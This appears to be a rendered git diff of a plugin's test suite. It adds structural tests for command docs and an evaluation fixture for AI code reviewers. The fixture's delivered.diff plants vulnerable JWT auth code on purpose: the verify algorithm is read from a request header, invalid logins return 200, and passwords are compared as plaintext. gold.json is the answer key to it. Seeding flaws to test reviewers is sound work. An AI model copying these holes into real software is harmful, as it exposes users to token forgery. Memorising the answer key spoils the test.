// ---------------------------------------------------------------
|
||||
// trekendsession-specific: exactly one eager block (Phase 1 project
|
||||
// discovery — self-contained, legitimate); Phases 3 and 4 are runtime
|
||||
// Bash-tool commands with model-substituted values, never eager.
|
||||
// ---------------------------------------------------------------
|
||||
|
||||
test('trekendsession — exactly one eager-exec block remains (Phase 1 discovery)', () => {
|
||||
const cmd = readCommand();
|
||||
const blocks = extractEagerBlocks(cmd);
|
||||
assert.equal(
|
||||
blocks.length,
|
||||
1,
|
||||
`expected exactly 1 eager-exec block (Phase 1 discovery), got ${blocks.length} at line(s) ${blocks.map((b) => b.line).join(', ')}`,
|
||||
);
|
||||
assert.match(
|
||||
blocks[0].content,
|
||||
/readdirSync\(root\)/,
|
||||
'the surviving eager block must be the self-contained Phase 1 discovery script',
|
||||
);
|
||||
});
|
||||
|
||||
test('trekendsession Phase 3 — atomic-write block is runtime Bash (no eager prefix) with plugin-root import', () => {
|
||||
const phase3 = extractPhase(readCommand(), '## Phase 3 ');
|
||||
assert.doesNotMatch(phase3, /!`/, 'Phase 3 must not use eager-exec — values exist only at runtime');
|
||||
assert.match(
|
||||
phase3,
|
||||
/\$\{CLAUDE_PLUGIN_ROOT\}\/lib\/util\/atomic-write\.mjs/,
|
||||
'Phase 3 import must use the absolute ${CLAUDE_PLUGIN_ROOT} path — cwd is the user repo, not the plugin root',
|
||||
);
|
||||
assert.doesNotMatch(
|
||||
phase3,
|
||||
/['"]\.\/lib\/util\/atomic-write\.mjs['"]/,
|
||||
'Phase 3 must not import atomic-write.mjs via a cwd-relative path',
|
||||
);
|
||||
});
|
||||
|
||||
test('trekendsession Phase 4 — validator call is runtime Bash (no eager prefix) with plugin-root path', () => {
|
||||
const phase4 = extractPhase(readCommand(), '## Phase 4 ');
|
||||
assert.doesNotMatch(phase4, /!`/, 'Phase 4 must not use eager-exec — the state-file path exists only at runtime');
|
||||
assert.match(
|
||||
phase4,
|
||||
/\$\{CLAUDE_PLUGIN_ROOT\}\/lib\/validators\/session-state-validator\.mjs/,
|
||||
'Phase 4 validator path must use the absolute ${CLAUDE_PLUGIN_ROOT} convention',
|
||||
);
|
||||
assert.doesNotMatch(
|
||||
phase4,
|
||||
/<[a-z][a-z0-9_-]*>/,
|
||||
'Phase 4 must not use <angle> placeholders in commands — zsh parses <x> as input redirection',
|
||||
);
|
||||
});
|
||||
|
|
@ -73,3 +73,78 @@ test('trekexecute — SC7: brief_version 2.1 + no phase_signals + no partial →
|
|||
`sequencing gate must fire; errors=${JSON.stringify(r.errors)}`,
|
||||
);
|
||||
});
|
||||
|
||||
// --- S38 loop-discipline hardening: completion gate (Step 2) ---
|
||||
|
||||
test('trekexecute — machine-verifiable completion gate + stop-signal contract literals present (SC a)', () => {
|
||||
const text = read();
|
||||
assert.ok(text.includes('machine-verifiable completion gate'),
|
||||
'completion-gate literal must be grep-able');
|
||||
assert.ok(text.includes('stop-signal contract'),
|
||||
'stop-signal contract literal must be grep-able');
|
||||
});
|
||||
|
||||
test('trekexecute — completion gate anchors result:completed to Phase 7.5 audit + DONE-after-check (SC a)', () => {
|
||||
const text = read();
|
||||
const gateIdx = text.indexOf('machine-verifiable completion gate');
|
||||
assert.ok(gateIdx >= 0, 'gate literal missing');
|
||||
const section = text.slice(gateIdx, gateIdx + 1400);
|
||||
assert.match(section, /Phase 7\.5/, 'gate must name Phase 7.5 as the objective predicate');
|
||||
assert.match(section, /DONE/, 'gate must reference the DONE stop-signal token');
|
||||
assert.match(section, /emitted AFTER/, 'gate must require DONE emitted AFTER the audit ran');
|
||||
});
|
||||
|
||||
// --- S38 loop-discipline hardening: caps + global recovery budget (Step 3) ---
|
||||
|
||||
test('trekexecute — global recovery/retry budget TREKEXECUTE_MAX_RECOVERY_ITERATIONS default 25 (SC b)', () => {
|
||||
const text = read();
|
||||
assert.ok(text.includes('TREKEXECUTE_MAX_RECOVERY_ITERATIONS'),
|
||||
'global recovery/retry budget constant must be documented');
|
||||
assert.match(
|
||||
text,
|
||||
/TREKEXECUTE_MAX_RECOVERY_ITERATIONS[^\n]{0,40}\b25\b|default[^\n]{0,20}\b25\b[^\n]{0,40}aggregate/i,
|
||||
'global budget must document numeric default 25 adjacent to the constant',
|
||||
);
|
||||
});
|
||||
|
||||
test('trekexecute — every recovery/retry loop bounded + 3-axis cap hierarchy (SC b)', () => {
|
||||
const text = read();
|
||||
assert.match(text, /maximum 2 retries|Retry cap = 3 attempts/, 'per-step retry cap must be explicit');
|
||||
assert.match(text, /recovery_depth < 2/, 'recovery-dispatch cap must be explicit');
|
||||
const capIdx = text.indexOf('Iteration caps');
|
||||
assert.ok(capIdx >= 0, 'cap-hierarchy section ("Iteration caps") must exist');
|
||||
const section = text.slice(capIdx, capIdx + 1500);
|
||||
assert.match(section, /attempts/, 'hierarchy must name per-step attempts axis');
|
||||
assert.match(section, /recovery_depth/, 'hierarchy must name per-session recovery_depth axis');
|
||||
assert.match(section, /TREKEXECUTE_MAX_RECOVERY_ITERATIONS/, 'hierarchy must name the global budget axis');
|
||||
});
|
||||
|
||||
// --- S38 loop-discipline hardening: iterations_remaining budget signal (Step 4) ---
|
||||
|
||||
test('trekexecute — iterations_remaining surfaced in progress schema + summary JSON, no (if wired) (SC c)', () => {
|
||||
const text = read();
|
||||
assert.ok(text.includes('iterations_remaining'), 'iterations_remaining must be present (SC c)');
|
||||
assert.ok(!/iterations_remaining[^\n]*\(if wired\)/.test(text),
|
||||
'no "(if wired)" conditional — field present in the spec at minimum');
|
||||
const schemaIdx = text.indexOf('### Progress file schema');
|
||||
assert.ok(schemaIdx >= 0, 'progress schema section missing');
|
||||
assert.match(text.slice(schemaIdx, schemaIdx + 1400), /iterations_remaining/,
|
||||
'progress schema must include iterations_remaining');
|
||||
const sumIdx = text.indexOf('"trekexecute_summary": {');
|
||||
assert.ok(sumIdx >= 0, 'summary JSON block missing');
|
||||
assert.match(text.slice(sumIdx, sumIdx + 900), /iterations_remaining/,
|
||||
'summary JSON must include iterations_remaining (observable)');
|
||||
});
|
||||
|
||||
test('trekexecute — iterations_remaining decrement + backfill + gate cross-check documented (SC c)', () => {
|
||||
const text = read();
|
||||
assert.match(text, /decrement[^.\n]*iteration|every recovery\/retry iteration/i,
|
||||
'decrement-per-iteration rule must be documented');
|
||||
assert.match(text, /backfill|seed (it )?to (the )?cap/i,
|
||||
'backfill-on-absent (legacy resume) rule must be documented');
|
||||
const gateIdx = text.indexOf('machine-verifiable completion gate');
|
||||
const gate = text.slice(gateIdx, gateIdx + 2200);
|
||||
assert.match(gate, /iterations_remaining/, 'gate must cross-check iterations_remaining');
|
||||
assert.match(gate, /recovery_depth/, 'gate cross-check must reconcile against recovery_depth');
|
||||
assert.match(gate, /attempts/, 'gate cross-check must reconcile against attempts');
|
||||
});
|
||||
|
|
|
|||
|
|
@ -71,3 +71,22 @@ test('trekplan — SC7: brief_version 2.1 + no phase_signals + no partial → BR
|
|||
`sequencing gate must fire; errors=${JSON.stringify(r.errors)}`,
|
||||
);
|
||||
});
|
||||
|
||||
// --- S31 / V15: export trim — drop pr|issue|markdown, keep headless as a --decompose alias ---
|
||||
|
||||
test('trekplan — V15: pr/issue/markdown export variants are removed', () => {
|
||||
const text = read();
|
||||
// No remaining `--export pr` usage/example anywhere in the command.
|
||||
assert.equal(/--export\s+pr\b/.test(text), false, '`--export pr` must be gone');
|
||||
// The per-format subsections of the old Export phase must be deleted.
|
||||
assert.ok(!text.includes('Format: `pr`'), 'pr export-format section must be gone');
|
||||
assert.ok(!text.includes('Format: `issue`'), 'issue export-format section must be gone');
|
||||
assert.ok(!text.includes('Format: `markdown`'), 'markdown export-format section must be gone');
|
||||
});
|
||||
|
||||
test('trekplan — V15: --export headless survives as a --decompose alias', () => {
|
||||
const text = read();
|
||||
assert.match(text, /--export\s+headless/, '`--export headless` must remain documented');
|
||||
assert.match(text, /alias for [`*]*--decompose/i,
|
||||
'`--export headless` must be labeled an alias for --decompose');
|
||||
});
|
||||
|
|
|
|||
35
tests/commands/trekresearch-engine.test.mjs
Normal file
35
tests/commands/trekresearch-engine.test.mjs
Normal file
|
|
@ -0,0 +1,35 @@
|
|||
// tests/commands/trekresearch-engine.test.mjs
|
||||
// Step 1 (deep-research-engine): pin the contract the `--engine deep-research`
|
||||
// adapter must hit. The adapted in-context `/deep-research` report, reduced into
|
||||
// the research-brief schema, must pass research-validator under the strict
|
||||
// default; and a brief missing a required section must fail. This is the one
|
||||
// genuinely automatable slice of SC2 (schema, not provenance).
|
||||
|
||||
import { test } from 'node:test';
|
||||
import { strict as assert } from 'node:assert';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { validateResearchContent } from '../../lib/validators/research-validator.mjs';
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
const FIXTURE = join(ROOT, 'tests', 'fixtures', 'research-deep-research-adapted.md');
|
||||
|
||||
test('deep-research adapter output contract — valid brief passes, missing section fails', () => {
|
||||
const text = readFileSync(FIXTURE, 'utf-8');
|
||||
|
||||
// (a) positive: the adapter's target output passes the validator (default = strict).
|
||||
const okResult = validateResearchContent(text);
|
||||
assert.equal(okResult.valid, true, JSON.stringify(okResult.errors));
|
||||
|
||||
// (b) negative: stripping a required section makes it fail with RESEARCH_MISSING_SECTION,
|
||||
// giving the contract teeth (a fixture that always passes proves nothing).
|
||||
const mutated = text.replace('## Dimensions', '## Removed');
|
||||
const badResult = validateResearchContent(mutated);
|
||||
assert.equal(badResult.valid, false);
|
||||
assert.ok(
|
||||
badResult.errors.find(e => e.code === 'RESEARCH_MISSING_SECTION'),
|
||||
'expected RESEARCH_MISSING_SECTION; got ' + JSON.stringify(badResult.errors),
|
||||
);
|
||||
});
|
||||
|
|
@ -13,9 +13,11 @@ import { parseDocument } from '../../lib/util/frontmatter.mjs';
|
|||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const ROOT = join(HERE, '..', '..');
|
||||
const COMMAND_FILE = join(ROOT, 'commands', 'trekreview.md');
|
||||
const MODES_DOC = join(ROOT, 'docs', 'command-modes.md');
|
||||
const PHASE = 'review';
|
||||
|
||||
function read() { return readFileSync(COMMAND_FILE, 'utf8'); }
|
||||
function readModes() { return readFileSync(MODES_DOC, 'utf8'); }
|
||||
function readFixture(name) { return readFileSync(join(ROOT, 'tests', 'fixtures', name), 'utf8'); }
|
||||
function frontmatterOf(text) {
|
||||
const doc = parseDocument(text);
|
||||
|
|
@ -72,3 +74,50 @@ test('trekreview — SC7: brief_version 2.1 + no phase_signals + no partial →
|
|||
`sequencing gate must fire; errors=${JSON.stringify(r.errors)}`,
|
||||
);
|
||||
});
|
||||
|
||||
// --- S11 (NW2 part B) — opt-in --workflow substrate routing ---
|
||||
|
||||
test('trekreview — Phase 1 flag table documents the --workflow opt-in flag', () => {
|
||||
const text = read();
|
||||
assert.match(text, /--workflow/,
|
||||
'commands/trekreview.md must document the --workflow opt-in flag (NW2 part B)');
|
||||
});
|
||||
|
||||
test('trekreview — --workflow routes Phase 5–6 to the validated NW2 Workflow port script', () => {
|
||||
const text = read();
|
||||
assert.ok(text.includes('scripts/trekreview-armB.workflow.mjs'),
|
||||
'the --workflow route must reference the bake-off-validated NW2 Workflow port script');
|
||||
});
|
||||
|
||||
test('trekreview — Workflow path is opt-in; default stays prose (portability floor)', () => {
|
||||
const text = read();
|
||||
assert.match(text, /opt-in/i, '--workflow must be described as opt-in');
|
||||
assert.ok(text.includes('Default stays prose'),
|
||||
'the command must state the default Phase 5–6 path stays prose (not Workflow)');
|
||||
});
|
||||
|
||||
test('trekreview — Workflow opt-in documents the Claude Code 2.1.154+ floor', () => {
|
||||
const text = read();
|
||||
assert.match(text, /2\.1\.154/,
|
||||
'the --workflow path raises the consumer floor and must document Claude Code 2.1.154+');
|
||||
});
|
||||
|
||||
test('trekreview — bake-off evidence (fidelity-equivalent / T2 results) is cited for the opt-in', () => {
|
||||
const text = read();
|
||||
assert.ok(
|
||||
text.includes('T2-bakeoff-results.md') && /fidelity-equivalent/i.test(text),
|
||||
'the opt-in must cite the S10 bake-off (docs/T2-bakeoff-results.md) fidelity-equivalence verdict',
|
||||
);
|
||||
});
|
||||
|
||||
test('command-modes.md — /trekreview table documents --workflow + its CC floor', () => {
|
||||
const text = readModes();
|
||||
const start = text.indexOf('## /trekreview modes');
|
||||
assert.ok(start >= 0, 'command-modes.md missing "## /trekreview modes" section');
|
||||
const end = text.indexOf('\n## ', start + 1);
|
||||
const section = text.slice(start, end === -1 ? undefined : end);
|
||||
assert.match(section, /--workflow/,
|
||||
'command-modes.md /trekreview table must list the --workflow opt-in flag');
|
||||
assert.match(section, /2\.1\.154/,
|
||||
'command-modes.md /trekreview --workflow row must note the Claude Code 2.1.154+ floor');
|
||||
});
|
||||
|
|
|
|||
61
tests/fixtures/bakeoff-rich/README.md
vendored
Normal file
61
tests/fixtures/bakeoff-rich/README.md
vendored
Normal file
|
|
@ -0,0 +1,61 @@
|
|||
# NW2 bake-off — rich-finding-surface fixture (S10 part B)
|
||||
|
||||
The smoke fixture (`tests/fixtures/bakeoff/`) reviewed a clean, TDD'd NW1 diff
|
||||
and both arms returned **0 findings**, so finding-*set* fidelity was never
|
||||
stressed — only verdict fidelity at zero. This fixture fixes that: a realistic
|
||||
JWT-auth diff + brief seeded with **5 blatant, brief-traceable issues** spanning
|
||||
varied severities and rule_keys, split across both reviewers. Both arms review
|
||||
the **same** `delivered.diff` against the **same** `brief.md`, so any difference
|
||||
in the `{verdict, findings}` is attributable to the orchestration substrate
|
||||
(prose Arm A vs Workflow Arm B), not the input.
|
||||
|
||||
Modeled on the proven determinism scenario in
|
||||
`tests/fixtures/trekreview/review-run-A.md` (same JWT-auth shape, same finding
|
||||
families), but here it is a **real diff + brief pair** the live reviewers read —
|
||||
not a synthetic pre-rendered review.
|
||||
|
||||
## Seeded findings (expected ~5, varied)
|
||||
|
||||
| # | Issue | Where | Likely rule_key | Severity | Owner reviewer |
|
||||
|---|-------|-------|-----------------|----------|----------------|
|
||||
| 1 | `/login` returns **200** (not 401) on invalid credentials | `lib/handlers/login.mjs:17` | `UNIMPLEMENTED_CRITERION` | BLOCKER | conformance (SC2) |
|
||||
| 2 | `verifyToken` reads the verify **algorithm from a request header** | `lib/auth/jwt.mjs:19–20` | `SECURITY_INJECTION` and/or `NON_GOAL_VIOLATED` | BLOCKER | correctness + conformance (NG1) |
|
||||
| 3 | No test covers **concurrent refresh** (no test file in the diff) | `lib/auth/refresh.mjs` (whole) | `MISSING_TEST` | MAJOR | correctness (SC3) |
|
||||
| 4 | Password check uses `crypto.timingSafeEqual` over plaintext, not `bcrypt.compare` per plan | `lib/handlers/login.mjs:13` | `PLAN_EXECUTE_DRIFT` | MAJOR | conformance/correctness (Plan Step 4) |
|
||||
| 5 | `refreshStore` I/O (`get`/`delete`/`set`) is **unwrapped** — backend outage bubbles unhandled | `lib/auth/refresh.mjs:10,16,20` | `MISSING_ERROR_HANDLING` | MINOR | correctness (Constraint) |
|
||||
|
||||
Issue #2 is intentionally **dual-flaggable** (a security defect AND an explicit
|
||||
Non-Goal violation) — it exercises the cross-reviewer overlap that the
|
||||
`(file,line,rule_key)` triplet-dedup and the coordinator must handle. Real LLM
|
||||
reviewers will vary exact line numbers and may surface extra latent issues (e.g.
|
||||
the `user.passwordHash` NPE when the email is unknown); that variance is the
|
||||
**signal** the bake-off measures, not noise to suppress.
|
||||
|
||||
Expected verdict (both arms): **BLOCK** (≥1 BLOCKER present).
|
||||
|
||||
## Triage map (deterministic, pinned — passed to BOTH arms)
|
||||
|
||||
All three files are auth/security surface → `deep-review`:
|
||||
|
||||
```
|
||||
lib/auth/jwt.mjs → deep-review
|
||||
lib/handlers/login.mjs → deep-review
|
||||
lib/auth/refresh.mjs → deep-review
|
||||
```
|
||||
|
||||
## How it's consumed
|
||||
|
||||
The bake-off pins Phases 1–4 (brief + diff + triage above) and passes them to
|
||||
both arms via paths (reviewer agents carry `Read`):
|
||||
|
||||
- **Arm A (prose):** reviewers spawned FOREGROUND via the Agent tool with the
|
||||
prose trailing-`json`-block contract → `validateReviewerOutput` (NW1) →
|
||||
triplet-dedup → `review-coordinator` → `{verdict, findings}`.
|
||||
Harness: `scripts/bakeoff-armA-merge.mjs`.
|
||||
- **Arm B (Workflow):** `scripts/trekreview-armB.workflow.mjs` via the Workflow
|
||||
tool, `args = { briefPath, diffPath, triage }` (StructuredOutput-forced
|
||||
findings → JS triplet-dedup → coordinator verdict schema).
|
||||
|
||||
PRIMARY metric: `fidelityDiffStructured` (`lib/review/fidelity-diff.mjs`) — same
|
||||
verdict + equivalent finding set (IDs / severities / rule_keys), jaccard
|
||||
tolerance 0.7. Analysis harness: `scripts/bakeoff-fidelity.mjs`.
|
||||
69
tests/fixtures/bakeoff-rich/brief.md
vendored
Normal file
69
tests/fixtures/bakeoff-rich/brief.md
vendored
Normal file
|
|
@ -0,0 +1,69 @@
|
|||
---
|
||||
type: trekbrief
|
||||
brief_version: "2.1"
|
||||
slug: jwt-auth-refresh-rotation
|
||||
task: Add JWT authentication with refresh-token rotation to the API
|
||||
research_topics: 0
|
||||
research_status: complete
|
||||
brief_quality: ready
|
||||
created: 2026-06-18
|
||||
---
|
||||
|
||||
# JWT authentication with refresh-token rotation
|
||||
|
||||
## Intent
|
||||
|
||||
Add stateless JWT authentication to the API: a `/login` endpoint that issues a
|
||||
short-lived access token plus a rotating refresh token, and a `/refresh`
|
||||
endpoint that rotates the refresh token on every use. Tokens are signed with a
|
||||
fixed RS256 key pair. This is the security boundary of the service, so the
|
||||
contract below is strict.
|
||||
|
||||
## Plan reference (what the approved plan said to build)
|
||||
|
||||
> **Plan Step 4** — `lib/handlers/login.mjs` verifies the password with
|
||||
> `bcrypt.compare(password, user.passwordHash)`. The stored credential is a
|
||||
> bcrypt hash; no plaintext comparison.
|
||||
>
|
||||
> **Plan Step 6** — `lib/auth/jwt.mjs` hard-codes the verification algorithm to
|
||||
> `['RS256']`. The algorithm is never read from the request.
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- **SC1** — `POST /login` with valid credentials returns `200` with both an
|
||||
`accessToken` and a `refreshToken` in the JSON body.
|
||||
- **SC2** — `POST /login` with invalid credentials returns HTTP `401` (not 200)
|
||||
and no tokens. Invalid means the email is unknown OR the password does not
|
||||
match.
|
||||
- **SC3** — Refresh-token rotation is covered by an automated test that
|
||||
exercises the **concurrent-refresh** race window (two refreshes presenting the
|
||||
same refresh token must not both succeed).
|
||||
- **SC4** — Access and refresh tokens are signed and verified with **RS256
|
||||
only**, using the server's fixed key pair.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- **NG1** — Do NOT accept a caller-supplied signing/verification algorithm. The
|
||||
algorithm must never be read from the request (header, body, or query). A
|
||||
token claiming a different `alg` must be rejected.
|
||||
- **NG2** — Do NOT add a user-registration / sign-up endpoint. Users are
|
||||
provisioned out of band.
|
||||
- **NG3** — Do NOT add password-reset or email flows in this change.
|
||||
|
||||
## Constraints
|
||||
|
||||
- Node stdlib + the already-vendored `jsonwebtoken` and `bcrypt`; no new deps.
|
||||
- Every delivered code path that the SCs describe must have test coverage.
|
||||
- Errors from the refresh-token store (a network resource) must not crash the
|
||||
request handler — degrade to a 5xx, do not let the rejection bubble unhandled.
|
||||
|
||||
## Assumptions
|
||||
|
||||
- `db.getUserByEmail(email)` returns `{ id, email, passwordHash }` or `null`.
|
||||
- A `refreshStore` with `get/set/delete` (async, may throw on backend outage) is
|
||||
injected.
|
||||
|
||||
## NFRs
|
||||
|
||||
- Constant-time password comparison via the bcrypt primitive (no hand-rolled
|
||||
comparison over plaintext-derived buffers).
|
||||
84
tests/fixtures/bakeoff-rich/delivered.diff
vendored
Normal file
84
tests/fixtures/bakeoff-rich/delivered.diff
vendored
Normal file
|
|
@ -0,0 +1,84 @@
|
|||
diff --git a/lib/auth/jwt.mjs b/lib/auth/jwt.mjs
|
||||
new file mode 100644
|
||||
index 0000000..1a2b3c4
|
||||
--- /dev/null
|
||||
+++ b/lib/auth/jwt.mjs
|
||||
@@ -0,0 +1,21 @@
|
||||
+// JWT sign/verify helpers (RS256). Plan Step 6: algorithm hard-coded to RS256.
|
||||
+import jwt from 'jsonwebtoken';
|
||||
+import { readFileSync } from 'node:fs';
|
||||
+
|
||||
+const PRIVATE_KEY = readFileSync(process.env.JWT_PRIVATE_KEY_PATH, 'utf8');
|
||||
+const PUBLIC_KEY = readFileSync(process.env.JWT_PUBLIC_KEY_PATH, 'utf8');
|
||||
+
|
||||
+export function signAccessToken(payload) {
|
||||
+ return jwt.sign(payload, PRIVATE_KEY, { algorithm: 'RS256', expiresIn: '15m' });
|
||||
+}
|
||||
+
|
||||
+export function signRefreshToken(payload) {
|
||||
+ return jwt.sign(payload, PRIVATE_KEY, { algorithm: 'RS256', expiresIn: '7d' });
|
||||
+}
|
||||
+
|
||||
+// Verify a token. The algorithm is taken from the request so clients on older
|
||||
+// key types keep working.
|
||||
+export function verifyToken(token, req) {
|
||||
+ const alg = req.headers['x-jwt-alg'] || 'RS256';
|
||||
+ return jwt.verify(token, PUBLIC_KEY, { algorithms: [alg] });
|
||||
+}
|
||||
diff --git a/lib/handlers/login.mjs b/lib/handlers/login.mjs
|
||||
new file mode 100644
|
||||
index 0000000..2b3c4d5
|
||||
--- /dev/null
|
||||
+++ b/lib/handlers/login.mjs
|
||||
@@ -0,0 +1,23 @@
|
||||
+// POST /login — issue access + refresh tokens. Plan Step 4: bcrypt.compare.
|
||||
+import crypto from 'node:crypto';
|
||||
+import { signAccessToken, signRefreshToken } from '../auth/jwt.mjs';
|
||||
+import { db } from '../db.mjs';
|
||||
+
|
||||
+export async function login(req, res) {
|
||||
+ const { email, password } = req.body;
|
||||
+ const user = await db.getUserByEmail(email);
|
||||
+
|
||||
+ // Compare the supplied password against the stored credential.
|
||||
+ const supplied = Buffer.from(password);
|
||||
+ const stored = Buffer.from(user.passwordHash);
|
||||
+ const ok = supplied.length === stored.length && crypto.timingSafeEqual(supplied, stored);
|
||||
+
|
||||
+ if (!ok) {
|
||||
+ // Soft-fail: return 200 with an error flag so the client can show a message.
|
||||
+ return res.status(200).json({ ok: false, error: 'invalid_credentials' });
|
||||
+ }
|
||||
+
|
||||
+ const accessToken = signAccessToken({ sub: user.id });
|
||||
+ const refreshToken = signRefreshToken({ sub: user.id });
|
||||
+ return res.status(200).json({ ok: true, accessToken, refreshToken });
|
||||
+}
|
||||
diff --git a/lib/auth/refresh.mjs b/lib/auth/refresh.mjs
|
||||
new file mode 100644
|
||||
index 0000000..3c4d5e6
|
||||
--- /dev/null
|
||||
+++ b/lib/auth/refresh.mjs
|
||||
@@ -0,0 +1,22 @@
|
||||
+// POST /refresh — rotate the refresh token. Single-use: the presented token is
|
||||
+// deleted and a new one issued.
|
||||
+import { signAccessToken, signRefreshToken, verifyToken } from './jwt.mjs';
|
||||
+
|
||||
+export async function refresh(req, res, refreshStore) {
|
||||
+ const { refreshToken } = req.body;
|
||||
+ const claims = verifyToken(refreshToken, req);
|
||||
+ const jti = claims.jti;
|
||||
+
|
||||
+ const known = await refreshStore.get(jti);
|
||||
+ if (!known) {
|
||||
+ return res.status(401).json({ ok: false, error: 'unknown_refresh_token' });
|
||||
+ }
|
||||
+
|
||||
+ // Invalidate the presented token, then mint a new pair.
|
||||
+ await refreshStore.delete(jti);
|
||||
+
|
||||
+ const accessToken = signAccessToken({ sub: claims.sub });
|
||||
+ const newRefresh = signRefreshToken({ sub: claims.sub });
|
||||
+ await refreshStore.set(newRefresh.jti, { sub: claims.sub });
|
||||
+ return res.status(200).json({ ok: true, accessToken, refreshToken: newRefresh });
|
||||
+}
|
||||
44
tests/fixtures/bakeoff-rich/gold.json
vendored
Normal file
44
tests/fixtures/bakeoff-rich/gold.json
vendored
Normal file
|
|
@ -0,0 +1,44 @@
|
|||
{
|
||||
"schema": "voyage-eval-gold/1",
|
||||
"source": "tests/fixtures/bakeoff-rich/README.md",
|
||||
"description": "Golden corpus for SKAL-1·4a — the 5 brief-traceable seeded findings of the bakeoff-rich JWT-auth fixture, machine-readable. expected_verdict is the review-coordinator Pass-4 outcome (BLOCKER >= 1 -> BLOCK).",
|
||||
"expected_verdict": "BLOCK",
|
||||
"findings": [
|
||||
{
|
||||
"file": "lib/handlers/login.mjs",
|
||||
"line": 17,
|
||||
"rule_key": "UNIMPLEMENTED_CRITERION",
|
||||
"severity": "BLOCKER",
|
||||
"owner_reviewer": "conformance"
|
||||
},
|
||||
{
|
||||
"file": "lib/auth/jwt.mjs",
|
||||
"line": 19,
|
||||
"rule_key": "SECURITY_INJECTION",
|
||||
"severity": "BLOCKER",
|
||||
"owner_reviewer": "correctness",
|
||||
"dual_flaggable": "NON_GOAL_VIOLATED"
|
||||
},
|
||||
{
|
||||
"file": "lib/auth/refresh.mjs",
|
||||
"line": 0,
|
||||
"rule_key": "MISSING_TEST",
|
||||
"severity": "MAJOR",
|
||||
"owner_reviewer": "correctness"
|
||||
},
|
||||
{
|
||||
"file": "lib/handlers/login.mjs",
|
||||
"line": 13,
|
||||
"rule_key": "PLAN_EXECUTE_DRIFT",
|
||||
"severity": "MAJOR",
|
||||
"owner_reviewer": "conformance"
|
||||
},
|
||||
{
|
||||
"file": "lib/auth/refresh.mjs",
|
||||
"line": 10,
|
||||
"rule_key": "MISSING_ERROR_HANDLING",
|
||||
"severity": "MINOR",
|
||||
"owner_reviewer": "correctness"
|
||||
}
|
||||
]
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue